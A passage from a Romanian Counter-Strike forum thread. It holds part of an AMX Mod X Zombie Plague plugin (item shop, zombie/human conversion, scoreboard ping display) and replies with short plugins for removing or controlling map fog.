					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (120 < get_armor(iPlayer))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
					return 0;
				}
				else
				{
					set_armor(iPlayer, get_armor(iPlayer) + 200);
					sound(iPlayer, 3, "zombie_plague/armor_equip.wav");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (200ap)");
				}
			}
			case 15:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				g_iJumpsNum[iPlayer]++;
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "Now you can do %d jumps in a row!", g_iJumpsNum[iPlayer] + 1);
			}
			case 16:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				g_cClass[iPlayer] = "Tryder";
				g_bTryder[iPlayer] = true;
				strip_user_weapons(iPlayer);
				set_armor(iPlayer, 777);
				set_health(iPlayer, 777);		
				give_weapon(iPlayer, "weapon_knife");
				give_weapon(iPlayer, "weapon_deagle");
				give_weapon(iPlayer, "weapon_xm1014");
				give_weapon(iPlayer, "weapon_g3sg1");
				give_weapon(iPlayer, "weapon_ak47");
				give_weapon(iPlayer, "weapon_m4a1");
				give_weapon(iPlayer, "weapon_hegrenade");
				give_weapon(iPlayer, "weapon_flashbang");
				give_weapon(iPlayer, "weapon_smokegrenade");
				give_ammo(iPlayer, 26, 9999);
				give_ammo(iPlayer, 5, 9999);
				give_ammo(iPlayer, 24, 9999);
				give_ammo(iPlayer, 28, 9999);
				give_ammo(iPlayer, 22, 9999);
				g_bUnlimitedClip[iPlayer] = true;
				set_glow(iPlayer, 19, 13, 250, 10, 175);
				sound(iPlayer, 3, "zombie_plague/armor_equip.wav");
				ExecuteHamB(Ham_Item_PreFrame, iPlayer);
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(190, 55, 115, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(0, g_iEventsHudmessage, "%s is now a Tryder!", g_cName[iPlayer]);
				PrintToChat(0, "^x04[ZP]^x03 %s^x01 is now a^x04 Tryder", g_cName[iPlayer]);
			}
			case 17:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{ 
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				static cTime;
				static iTime[3];
				get_time("%H", iTime, 2);
				cTime = str_to_num(iTime);
				if (iSurvivors)
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 There already was a survivor this map!");
					return 0;
				}
				else
				{
					if (bAlreadyBought[iPlayer])
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
						return 0;
					}
					if (get_gametime() - g_fRoundStartTime < 2.0)
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
						return 0;
					}
					if (cTime >= 22 || cTime <= 10)
					{
						PrintToChat(iPlayer, "^x04[ZP]^x03 Survivor ^x01it's unavailable between^x04 22:00^x01 and^x04 10:00");
						return 0;
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
						iSurvivors += 1;
						remove_task(550);
						StartSurvivorMode(iPlayer);
						remove_task(700);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Survivor !!!", g_cName[iPlayer]);
						PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Survivor", g_cName[iPlayer]);
					}
					else
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
						return 0;
					}
				}
			}
			case 18:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				static cTime;
				static iTime[3];
				get_time("%H", iTime, 2);
				cTime = str_to_num(iTime);
				if (iSnipers)
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 There already was a sniper this map!");
					return 0;
				}
				else
				{
					if (bAlreadyBought[iPlayer])
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
						return 0;
					}
					if (get_gametime() - g_fRoundStartTime < 2.0)
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
						return 0;
					}
					if (cTime >= 22 || cTime <= 10)
					{
						PrintToChat(iPlayer, "^x04[ZP]^x03 Sniper ^x01it's unavailable between^x04 22:00^x01 and^x04 10:00");
						return 0;
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
						iSnipers += 1;
						remove_task(550);
						StartSniperMode(iPlayer);
						remove_task(700);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Sniper !!!", g_cName[iPlayer]);
						PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Sniper", g_cName[iPlayer]);
					}
					else
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
						return 0;
					}
				}
			}
			case 19:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if (bAlreadyBought[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
					return 0;
				}
				else
				{
					if (get_gametime() - g_fRoundStartTime < 2.0)
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
						return 0;
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
						remove_task(550);
						StartNemesisMode(iPlayer);
						remove_task(700);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Nemesis !!!", g_cName[iPlayer]);
						PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Nemesis", g_cName[iPlayer]);
					}
					else
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
						return 0;
					}
				}
			}
			case 20:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if (bAlreadyBought[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
					return 0;
				}
				else
				{
					if (get_gametime() - g_fRoundStartTime < 2.0)
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
						return 0;
					}
					if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
					{
						g_bRoundStart = false;
						bAlreadyBought[iPlayer] = 1;
						remove_task(550);
						StartAssassinMode(iPlayer);
						remove_task(700);
						g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
						set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
						ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Assassin!", g_cName[iPlayer]);
						PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Assassin !!!", g_cName[iPlayer]);
					}
					else
					{
						PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
						return 0;
					}
				}
			}
			case 21:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				g_iBlinks[iPlayer] += 5;
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Knife Blinks!", g_cName[iPlayer]);
			}	
		}
	}
	return 0;
}

GetZombies()
{
	static iZombies;
	static i;
	iZombies = 0;
	i = 0;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bZombie[i] && g_bAlive[i])
		{
			iZombies += 1;
		}
		i += 1;
	}
	return iZombies;
}

GetHumans()
{
	static iHumans;
	static i;
	iHumans = 0;
	i = 0;
	while (g_iMaxClients + 1 > i)
	{
		if (!g_bZombie[i] && g_bAlive[i])
		{
			iHumans += 1;
		}
		i += 1;
	}
	return iHumans;
}

MessageLog(iReceiver, cMessage[], any:...)
{
	static cBuffer[192];
	vformat(cBuffer, 191, cMessage, 3);
	if (iReceiver)
	{
		send_say_text(iReceiver, g_iMaxClients + 1, cBuffer);
	}
	else
	{
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bConnected[i] && !g_bFake[i] && !is_user_hltv(i))
			{
				send_say_text(i, g_iMaxClients + 1, cBuffer);
			}
			i += 1;
		}
	}
	log_amx("^"%s^"", cBuffer);
	return 0;
}

PrintToChat(iReceiver, cMessage[], any:...)
{
	static cBuffer[192];
	vformat(cBuffer, 191, cMessage, 3);
	if (iReceiver)
	{
		send_say_text(iReceiver, g_iMaxClients + 1, cBuffer);
	}
	else
	{
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bConnected[i] && !g_bFake[i] && !is_user_hltv(i))
			{
				send_say_text(i, g_iMaxClients + 1, cBuffer);
			}
			i += 1;
		}
	}
	return 0;
}

bool:GetAccess(iPlayer, iLevel, iNum)
{
	static bool:bDone;
	bDone = true;
	if (!(iLevel & get_user_flags(iPlayer)))
	{
		bDone = false;
		console_print(iPlayer, "You have no access to that command");
	}
	else
	{
		if (iNum > read_argc())
		{
			bDone = false;
			console_print(iPlayer, "Wrong ussage. The command needs %d arguments", iNum + -1);
		}
	}
	return bDone;
}

GetTarget(iPlayer, cTarget[], iFlags)
{
	static iTarget;
	static bool:bDone;
	static done;
	bDone = false;
	iTarget = find_player("bl", cTarget);
	if (iTarget && find_player("blj", cTarget) != iTarget)
	{
		console_print(iPlayer, "There are more clients matching to your argument");
		return 0;
	}
	if (cTarget[0] == 35)
	{
		iTarget = GetUserIdMatch(cTarget);
	}
	if (!iTarget)
	{
		console_print(iPlayer, "Client with that name or userid not found");
		return 0;
	}
	bDone = true;
	if (iFlags & 4 && get_user_flags(iTarget) & 1 && iTarget != iPlayer)
	{
		bDone = false;
		console_print(iPlayer, "Client %s has immunity", g_cName[iTarget]);
	}
	if (iFlags & 2 && !g_bAlive[iTarget])
	{
		bDone = false;
		console_print(iPlayer, "That action can't be performed on dead client %s", g_cName[iTarget]);
	}
	if (!(iFlags & 1) && g_bFake[iTarget])
	{
		bDone = false;
		console_print(iPlayer, "That action can't be performed on bot %s", g_cName[iTarget]);
	}
	if (bDone)
	{
		done = iTarget;
	}
	else
	{
		done = 0;
	}
	return done;
}

GetUserIdMatch(cTarget[])
{
	static cNumber[32];
	static iTarget;
	static i;
	copy(cNumber, 32, cTarget[1]);
	iTarget = str_to_num(cNumber);
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && get_user_userid(i) == iTarget)
		{
			return i;
		}
		i += 1;
	}
	return 0;
}

xs_vec_mul_scalar(Float:fVec[], Float:fScalar, Float:fOut[])
{
    fOut[0] = fVec[0] * fScalar;
    fOut[1] = fVec[1] * fScalar;
    fOut[2] = fVec[2] * fScalar;
    return 0;
}

xs_vec_add(Float:fFirst[], Float:fSecond[], Float:fOut[])
{
    fOut[0] = fFirst[0] + fSecond[0];
    fOut[1] = fFirst[1] + fSecond[1];
    fOut[2] = fFirst[2] + fSecond[2];
    return 0;
}

Float:GetSpeed(iEntity)
{
	static Float:fVelocity[3];
	get_velocity(iEntity, fVelocity);
	return vector_length(fVelocity);
}

CheckLastPlayer(iPlayer)
{
	if (g_bRoundEnd || task_exists(550))
	{
		return 0;
	}
	static i;
	static iPlayersNum;
	iPlayersNum = GetAliveCount();
	if (iPlayersNum < 2)
	{
		return 0;
	}
	if (g_bZombie[iPlayer] && GetZombies() == 1)
	{
		if (GetHumans() == 1)
		{
			return 0;
		}
		do {
		} while (iPlayer == (i = GetRandomAlive()));
		PrintToChat(0, "^x04[ZP]^x01 Last zombie,^x03 %s^x01 disconnected,^x04 %s^x01 is the last zombie!", g_cName[iPlayer], g_cName[i]);
		switch (g_iPlayerType[iPlayer])
		{
			case 0:
			{
				MakeZombie(0, i, false, false, false);
			}
			case 1:
			{
				MakeZombie(0, i, false, true, false);
				set_health(i, get_health(iPlayer));
			}
			case 2:
			{
				MakeZombie(0, i, false, false, true);
				set_health(i, get_health(iPlayer));
			}	
		}
	}
	else
	{
		if (!g_bZombie[iPlayer] && GetHumans() == 1)
		{
			if (GetZombies() == 1)
			{
				return 0;
			}
			do {
			} while (iPlayer == (i = GetRandomAlive()));
			PrintToChat(0, "^x04[ZP]^x01 Last human,^x03 %s^x01 disconnected,^x04 %s^x01 is the last human!", g_cName[iPlayer], g_cName[i]);
			switch (g_iPlayerType[iPlayer])
			{
				case 0:
				{
					MakeHuman(i, false, false);
				}
				case 4:
				{
					MakeHuman(i, true, false);
					set_health(i, get_health(iPlayer));
				}
				case 8:
				{
					MakeHuman(i, false, true);
					set_health(i, get_health(iPlayer));
				}			
			}
		}
	}
	return 0;
}

GetAliveCount()
{
	static iCount;
	static i;
	iCount = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i])
		{
			iCount += 1;
		}
		i += 1;
	}
	return iCount;
}

GetRandomAlive()
{
	static j;
	static i;
	static iPlayers[32];
	j = 0;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i])
		{
			iPlayers[j] = i;
			j += 1;
		}
		i += 1;
	}
	return iPlayers[random_num(0, j + -1)];
}

MakeZombie(iAttacker, iVictim, bool:bSilent, bool:bNemesis, bool:bAssassin)
{
	if (g_iZombieNextClass[iVictim] == -1)
	{
		menu_display(iVictim, g_iMenuZombieClasses);
	}
	g_iZombieClass[iVictim] = g_iZombieNextClass[iVictim];
	if (g_iZombieClass[iVictim] == -1)
	{
		g_iZombieClass[iVictim] = 0;
	}
	if (get_user_jetpack(iVictim))
	{
		user_drop_jetpack(iVictim, 1);
	}
	g_bZombie[iVictim] = true;
	set_zombie(iVictim, true);
	g_iBurningDuration[iVictim] = 0;
	g_iPlayerType[iVictim] = 0;
	g_bNoDamage[iVictim] = false;
	remove_glow(iVictim);
	remove_task(iVictim + 200);
	remove_task(iVictim + 250);
	g_cClass[iVictim] = g_cZombieClasses[g_iZombieClass[iVictim]];

	if (iAttacker)
	{
		send_death_msg(iAttacker, iVictim);
		send_score_attrib(iVictim);
		set_frags(iAttacker, get_frags(iAttacker) + 1);
		set_deaths(iVictim, get_deaths(iVictim) + 1);
		send_score_info(iAttacker);
		send_score_info(iVictim);
		g_iPacks[iAttacker]++;
		if (g_iZombieClass[iAttacker] == 6)
		{
            set_health(iAttacker, get_health(iAttacker) + 250);
            send_implosion(iAttacker);
            send_screen_fade(iAttacker,  255, 10, 10, 94);
            set_glow(iAttacker, 19, 13, 255, 10, 10);
            set_task(3.0, "TaskRemoveRender", iAttacker, "", 0, "", 0);
            set_hudmessage(0, 255, 0, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
            ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== HUNTER ==^n!!!!Regeneration: +250 HP Gained!!!");
		}
		if (g_iZombieClass[iAttacker] == 3)
		{
            set_health(iAttacker, get_health(iAttacker) + 500);
            send_screen_fade(iAttacker,  64, 180, 0, 94);
            set_hudmessage(220, 235, 10, 0.12, 0.30, 1, 0.00, 1.75, 1.00, 1.00, -1);
            ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== MUTANT ==^n!!!!Regeneration: +500 HP Gained!!!");
		}
	}
	if (!bSilent)
	{
		if (bNemesis)
		{
			g_iPlayerType[iVictim] |= 1;
			set_health(iVictim, 150000);
			set_glow(iVictim, 19, 25, 255, 0, 0);
			g_cClass[iVictim] = "Nemesis"

		}
		else if (bAssassin)
		{
			g_iPlayerType[iVictim] |= 2;
			set_health(iVictim, 25000);
			g_cClass[iVictim] = "Assassin"

		}
		else if (GetZombies() == 1 && !g_iPlayerType[iVictim])
		{
			set_health(iVictim, floatround(float(g_iZombieHealths[g_iZombieClass[iVictim]]) * 2.25, floatround_round));
			sound(iVictim, 2, g_cZombieInfectSounds[random_num(0, 4)]);
		}
		else
		{
			set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
			sound(iVictim, 2, g_cZombieInfectSounds[random_num(0, 4)]);
			set_hudmessage(255, 0, 0, 0.05, 0.45, 0, 0.00, 5.00, 1.00, 1.00, -1);
			if (iAttacker)
			{
			    ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten by %s...", g_cName[iVictim], g_cName[iAttacker]);
			}
			else
			{
			    ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten...", g_cName[iVictim]);
			}
		}
	}
	else
	{
		set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
	}
	if (get_team(iVictim) != 1)
	{
		set_team(iVictim, 1);
	}
	static Float:fCurrentTime;
	fCurrentTime = get_gametime();
	if (fCurrentTime - g_fLastChangedModel >= 0.25)
	{
        ChangeModel(iVictim + 250);
        g_fLastChangedModel = fCurrentTime;
	}
	else
	{
        set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iVictim + 250, "", 0, "", 0);
        g_fLastChangedModel = g_fLastChangedModel + 0.25;
	}	
	if (g_iPlayerType[iVictim])
	{
		send_fov(iVictim, 110);
		set_monster(iVictim, true);
	}
	else
	{
		if (g_iZombieClass[iVictim] == 4)
		{
			g_iJumpsNum[iVictim] = 1;
		}
	}
	send_screen_fade(iVictim,  150, 0, 0, 255);
	send_screen_shake(iVictim, 150000 , 25000, 135000);
	send_damage(iVictim, 65536);
	send_implosion(iVictim);
	send_particle_burst(iVictim);
	send_light(iVictim);
	Task_EnableFlash(iVictim);
	strip_user_weapons(iVictim);
	reset_armor(iVictim);
	give_weapon(iVictim, "weapon_knife");
	ExecuteHamB(Ham_Item_PreFrame, iVictim);
	return 0;
}

MakeHuman(iPlayer, bool:bSurvivor, bool:bSniper)
{
	remove_task(iPlayer + 200);
	remove_task(iPlayer + 350);
	remove_task(iPlayer + 250);
	g_bCanBuy[iPlayer] = 1;
	g_bNoDamage[iPlayer] = false;
	g_bFlashEnabled[iPlayer] = false;
	g_bFlash[iPlayer] = false;
	g_bFrozen[iPlayer] = false;
	g_bZombie[iPlayer] = false;
	g_iBurningDuration[iPlayer] = 0;
	g_iPlayerType[iPlayer] = 0;
	send_fov(iPlayer, 90);
	set_zombie(iPlayer, false);
	g_cClass[iPlayer] = "Human";
	strip_user_weapons(iPlayer);
	give_weapon(iPlayer, "weapon_knife");
	remove_glow(iPlayer);
	if (bSurvivor)
	{
		g_iPlayerType[iPlayer] |= 4;
		set_health(iPlayer, 3000);
		give_weapon(iPlayer, "weapon_m4a1");
		give_ammo(iPlayer, 22, 9999);
		give_weapon(iPlayer, "weapon_ak47");
		give_ammo(iPlayer, 28, 9999);
		give_weapon(iPlayer, "weapon_xm1014");
		give_ammo(iPlayer, 5, 9999);
		if (!user_has_weapon(iPlayer, 4, -1))
		{
			give_weapon(iPlayer, "weapon_hegrenade");
		}
		g_cClass[iPlayer] = "Survivor";
	}
	else if (bSniper)
	{
		g_iPlayerType[iPlayer] |= 8;
		set_health(iPlayer, 3000);
		give_weapon(iPlayer, "weapon_awp");
		give_ammo(iPlayer, 18, 9999);
		set_glow(iPlayer, 19, 13, 200, 200, 0);		
		g_cClass[iPlayer] = "Sniper";
	}
	else
	{
		set_health(iPlayer, 150);
		menu_display(iPlayer, g_iPrimaryMenu);
		send_teleport(iPlayer);
		sound(iPlayer, 3, "zombie_plague/antidote.wav");
		set_hudmessage(10, 255, 235, 0.05, 0.45, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iLeftMessageSync, "%s has used an antidote!", g_cName[iPlayer]);
	}
	if (get_team(iPlayer) != 2)
	{
		set_team(iPlayer, 2);
	}
	static Float:fCurrentTime;
	fCurrentTime = get_gametime();
	if (fCurrentTime - g_fLastChangedModel >= 0.25)
	{
        ChangeModel(iPlayer + 250);
        g_fLastChangedModel = fCurrentTime;
	}
	else
	{
        set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
        g_fLastChangedModel = g_fLastChangedModel + 0.25;
	}	
	ExecuteHamB(Ham_Item_PreFrame, iPlayer);
	return 0;
}

InsertInfo(iPlayer)
{
	if (0 < g_iSize)
	{
		static iLast;
		iLast = 0;
		if (g_iSize < 10)
		{
			iLast = g_iSize + -1;
		}
		else
		{
			iLast = g_iTracker + -1;
			if (0 > iLast)
			{
				iLast = g_iSize + -1;
			}
		}
		if (equal(g_cPlayerAddress[iPlayer], g_cAddresses[iLast]))
		{
			copy(g_cLNames[iLast], 32, g_cName[iPlayer]);
			return 0;
		}
	}
	static iTarget;
	iTarget = 0;
	if (g_iSize < 10)
	{
		iTarget = g_iSize;
		g_iSize += 1;
	}
	else
	{
		iTarget = g_iTracker;
		g_iTracker += 1;
		if (g_iTracker == 10)
		{
			g_iTracker = 0;
		}
	}
	copy(g_cLNames[iTarget], 32, g_cName[iPlayer]);
	copy(g_cAddresses[iTarget], 24, g_cPlayerAddress[iPlayer]);
	return 0;
}

GetInfo(i, cName[], iNameSize, cAddress[], iAddressSize)
{
	static iTarget;
	iTarget = i + g_iTracker % 10;
	copy(cName, iNameSize, g_cLNames[iTarget]);
	copy(cAddress, iAddressSize, g_cAddresses[iTarget]);
	return 0;
}

AddCommas(Num, Output[], Len)
{
   static Tmp[16], OutputPos = 0, NumPos = 0, NumLen = 0;
   OutputPos = NumPos = 0;
   if (Num < 0)
   {
      Output[OutputPos++] = '-';
      Num = abs(Num);
   }
   NumLen = num_to_str(Num, Tmp, charsmax(Tmp));
   if (NumLen <= 3)
   {
      OutputPos += copy(Output[OutputPos], Len, Tmp);
   }
   else
   {
      while (NumPos < NumLen && OutputPos < Len)
      {
         Output[OutputPos++] = Tmp[NumPos++];
         if (NumLen - NumPos && !((NumLen - NumPos) % 3))
		 {
            Output[OutputPos++] = ',';
		 }
      }
      Output[OutputPos] = '^0';
   }
}

public Update_Client_Data(id)
{
    if(!(pev( id, pev_button ) & IN_SCORE ) && !( pev( id, pev_oldbuttons ) & IN_SCORE ) )
        return;
    
    static player, sending;
    sending = 0;
    static iStarted;
    
    for( player = 1; player <= g_iMaxClients; player++ )
    {
        if( !is_user_connected( player ) )
             continue;
        
        switch( sending )
        {
            case 0:
            {
                if ((iStarted = ping(id)))
				{
					write_byte((g_iOffset[ player ][ 0 ] * 64 ) + ( 1 + 2 * ( player - 1 )));
					write_short(g_iArgumentPing[ player ][ 0 ]);
				}
                sending++;
            }
            
            case 1:
            {
				if (iStarted)
				{
					write_byte( ( g_iOffset[ player ][ 1 ] * 128 ) + ( 2 + 4 * ( player - 1 ) ) );
					write_short( g_iArgumentPing[ player ][ 1 ] );
				}
				sending++;
            }
            
            case 2:
            {
				if (iStarted)
				{
					write_byte( ( 4 + 8 * ( player - 1 ) ) );
					write_short( g_iArgumentPing[ player ][ 2 ] );
					write_byte( 0 );
					message_end( );
				}
				sending = 0;
            }
        }
    }
    
    if (sending && iStarted)
    {
        write_byte( 0 );
        message_end( );
    }
}

public TaskCalculateArguments()
{
    static player, ping;
    for( player = 1; player <= g_iMaxClients; player++ )
    {
        if( g_iPingOverride[ player ] < 0 )
		{
            ping = random_num(-4, 4) + 12;
        }
        else
		{
            ping = g_iPingOverride[ player ];
        }
        for( g_iOffset [ player ][ 0 ] = 0; g_iOffset[ player ][ 0 ] < 4; g_iOffset[ player ][ 0 ]++ )
        {
            if( ( ping - g_iOffset[ player ][ 0 ] ) % 4 == 0 )
            {
                g_iArgumentPing[ player ][ 0 ] = ( ping - g_iOffset[ player ][ 0 ] ) / 4;
                break;
            }
        }
        
        for (g_iOffset[player][1] = 0; g_iOffset[player][1] < 2; g_iOffset[player][1]++)
        {
            if( ( ping - g_iOffset[ player ][ 1 ] ) % 2 == 0 )
            {
                g_iArgumentPing[ player ][ 1 ] = ( ping - g_iOffset[ player ][ 1 ] ) / 2;
                break;
            }
        }
        g_iArgumentPing[ player ][ 2 ] = ping;
    }
}
RoyalServer
User avatar
CryWolf
Administrator
Administrator
Posts: 6505
Joined: 07 Aug 2008, 16:33
Detinator Steam: Da
Reputatie: Administrator
Fost Scripter
Manager CS2.eXtream.Ro
Fost Detinator ZM.eXtream.Ro
Fost manager CS.eXtream.Ro
Fost manager CSGO.eXtream.Ro
Fost manager global
Location: Botosani
Discord: crywolf1989
Has thanked: 202 times
Been thanked: 850 times
Contact:

04 Apr 2021, 22:15

Nu-mi pare sa existe in acest plugin, fie e in vreunul din includeuri sub alt nume de stock. Mai mult ca sigur e intr-un alt plugin.
NU IMI MAI DA-TI PM CU CERERE AJUTOR/SAMD, FOLOSITI FORUMUL, CITESC MAJORITATEA TOPICURILOR.
www.dark-arena.com , SERVERE CS / CS2 / L4D AU REVENIT ONLINE.
www.diasporaiptv.ro - SERVICII PREMIUM IPTV

Image

Image
ZackChoi
Membru, skill +1
Membru, skill +1
Posts: 162
Joined: 28 Dec 2019, 01:39
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Fond eXtream: 0
Has thanked: 1 time
Been thanked: 7 times

05 Apr 2021, 02:37

Code: Select all

#include <amxmodx>
#include <amxmisc>
#include <engine> // nu mai stiu daca remove_entity apartine de engine

public plugin_precache() remove_entity("env_fog");
User avatar
kidd0x
Utilizator neserios (tepar)
Utilizator neserios (tepar)
Posts: 1054
Joined: 06 Oct 2018, 14:41
Detinator Steam: Da
SteamID: /id/kidd0x/
Reputatie: Utilizator neserios (tepar!)
Fond eXtream: 0
Location: Constangeles
Discord: kidd0x
Has thanked: 172 times
Been thanked: 81 times

07 Apr 2021, 20:43

OFF : Amice daca nu iti raspunde nimeni la topicuri nu mai fa off in alte parti , nu e nimeni mort stai linistit ...
ON : Il pui deaspura tuturor pluginurilor :

Code: Select all

#include <amxmodx>
#include <amxmisc>

new onoff,rgb2,density_cvar,r,g,b,g_density[4]
new bool:on
public plugin_init() {
	register_plugin("Advanced Fog","0.7","Sh!nE*")
	onoff = register_cvar("amx_fog_default","1")
	rgb2 = register_cvar("amx_fog_color","116 137 147")
	density_cvar = register_cvar("amx_fog_amount","3")
	register_concmd("amx_fog","set_fog",ADMIN_MAP,"<on/off> <r/g/b> <amount 1-9>")
}

public set_fog(id,level,cid)
{
	if (!cmd_access(id,level,cid,4)) return PLUGIN_HANDLED
	new args[3][16],rgb[3][4],numrgb[3],i,tempdens[4]
	read_argv(1,args[0],15)
	read_argv(2,args[1],15)
	read_argv(3,args[2],15)
	new density = str_to_num(args[2])
	if((args[1][0]=='0' && !args[1][2]) || equali(args[1],"off")) {
		new temp_rgb2[3][4],temp_rgb[16]
		get_pcvar_string(rgb2,temp_rgb,15)
		parse(temp_rgb,temp_rgb2[0],3,temp_rgb2[1],3,temp_rgb2[2],3)
		for(i=0;i < 3;i++) numrgb[i] = str_to_num(temp_rgb2[i])
	} else {	
